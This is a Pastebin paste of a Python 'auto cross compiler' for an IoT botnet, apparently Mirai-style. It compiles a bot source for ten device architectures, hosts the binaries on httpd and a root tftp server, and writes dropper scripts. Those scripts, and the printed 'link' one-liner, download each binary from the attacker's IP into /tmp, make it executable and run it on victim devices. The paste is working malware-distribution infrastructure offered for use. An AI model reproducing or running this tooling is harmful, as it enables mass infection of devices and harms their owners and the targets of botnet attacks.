miraip0ts

cc2 Compiler

Jan 15th, 2017
642
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.69 KB | None | 0 0
  1. #Python auto cross compiler by  Void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6.     ip = sys.argv[2]
  7. else:
  8.     print("\x1b[0;31mIncorrect Usage!")
  9.     print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10.     exit(1)
  11.    
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16.     get_arch = True
  17. else:
  18.     get_arch = False
  19.  
  20. compileas = ["GHfjfgvj", #mips
  21.              "JIPJIPJj", #mipsel
  22.              "jhUOH", #sh4
  23.              "RYrydry", #x86
  24.              "UYyuyioy", #Armv6l
  25.              "XDzdfxzf", #i686
  26.              "JIPJuipjh", #ppc
  27.              "DFhxdhdf", #i586
  28.              "FDFDHFC", #m68k
  29.              "FTUdftui"] #sparc
  30.  
  31. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  32. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  33. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  34. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  35. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  38. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2']
  41.  
  42. ccs = ["cross-compiler-mips",
  43.        "cross-compiler-mipsel",
  44.        "cross-compiler-sh4",
  45.        "cross-compiler-x86_64",
  46.        "cross-compiler-armv6l",
  47.        "cross-compiler-i686",
  48.        "cross-compiler-powerpc",
  49.        "cross-compiler-i586",
  50.        "cross-compiler-m68k",
  51.        "cross-compiler-sparc"]
  52.  
  53. def run(cmd):
  54.     subprocess.call(cmd, shell=True)
  55.  
  56. run("rm -rf /var/www/html/bins.sh /var/lib/tftpboot/tftp1.sh /var/lib/tftpboot/tftp2.sh")
  57.  
  58. if get_arch == True:
  59.     run("rm -rf cross-compiler-*")
  60.  
  61.     print("Downloading Architectures")
  62.  
  63.     for arch in getarch:
  64.         run("wget " + arch + " --no-check-certificate >> /dev/null")
  65.         run("tar -xvf *tar.bz2")
  66.         run("rm -rf *tar.bz2")
  67.  
  68.     print("Cross Compilers Downloaded...")
  69.  
  70. num = 0
  71. for cc in ccs:
  72.     arch = cc.split("-")[2]
  73.     run("./"+cc+"/bin/"+arch+"-gcc -static -lpthread -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  74.     num += 1
  75.  
  76. print("Cross Compiling Done!")
  77. print("Setting up your httpd and tftp")
  78.  
  79. run("yum install httpd -y")
  80. run("service httpd start")
  81. run("yum install xinetd tftp tftp-server -y")
  82.  
  83. run('''echo -e "# default: off
  84. # description: The tftp server serves files using the trivial file transfer \
  85. #       protocol.  The tftp protocol is often used to boot diskless \
  86. #       workstations, download configuration files to network-aware printers, \
  87. #       and to start the installation process for some operating systems.
  88. service tftp
  89. {
  90.        socket_type             = dgram
  91.        protocol                = udp
  92.        wait                    = yes
  93.        user                    = root
  94.        server                  = /usr/sbin/in.tftpd
  95.        server_args             = -s -c /var/lib/tftpboot
  96.        disable                 = no
  97.        per_source              = 11
  98.        cps                     = 100 2
  99.        flags                   = IPv4
  100. }
  101. " > /etc/xinetd.d/tftp''')
  102. run("service xinetd start")
  103.  
  104. for i in compileas:
  105.     run("cp " + i + " /var/www/html")
  106.     run("mv " + i + " /var/www/html")
  107.  
  108. run('echo -e "ulimit -n 712" > /var/www/html/tftp1.sh')
  109. run('echo -e "cp /bin/busybox /tmp/" > /var/www/html/tftp1.sh')
  110. run('echo -e "ulimit -n 712" > /var/www/html/tftp2.sh')
  111.  
  112. for i in compileas:
  113.     run('echo -e "cd /tmp; wget http://' + ip + '/' + i + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  114.     run('echo -e "cd /tmp; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/www/html/tftp1.sh')
  115.     run('echo -e "cd /tmp; tftp -r ' + ip + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/www/html/tftp2.sh')
  116.  
  117. run("service xinetd restart")
  118. run("service httpd restart")
  119. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  120.  
  121. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  122. print("\x1b[0;32mYour link: cd /tmp; wget http://" + ip + "/bins.sh || curl -O http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh\x1b[0m")
  123. print
  124. print("\x1b[0;32mCoded By Void!\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment